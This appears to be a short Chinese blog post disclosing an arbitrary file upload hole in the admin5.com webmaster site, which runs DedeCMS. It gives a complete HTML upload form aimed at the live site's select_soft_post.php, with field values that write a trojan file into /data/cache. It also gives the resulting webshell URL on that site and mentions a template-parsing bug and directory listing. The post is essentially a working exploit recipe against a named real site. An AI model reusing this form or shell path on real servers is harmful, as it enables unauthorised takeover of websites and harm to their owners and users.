A5站长网任意文件上传漏洞

    首先注册个会员,然后。。
    <form target="_blank" action="http://www.admin5.com/include/dialog/select_soft_post.php" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch">
    <input type="text" name="newname" value="mytag-999.htm">
    <input type="text" name="activepath" value="/data/cache">
    <input type="file" name="uploadfile">
    <input type="submit" value="搜索" name="QuickSearchBtn">
    </form>

    上传一个zip后辍的木马文本

    shell 地址:http://www.admin5.com/plus/mytag_js.php?aid=999

    其实过程还是有一些,就是能上传目录不能执行,能执行目录不能上传,还好dede还有模板解释漏洞。。。
    其实这还存在列目录问题。。。
    这程序是DEDE,是自己改错了吧?

    本博客所有文章如无特别注明均为原创。
    复制或转载请以超链接形式注明转自n0elle's Blog,原文地址《A5站长网任意文件上传漏洞
    标签:
    喜欢 | 0
    分享:

还没有人抢沙发呢~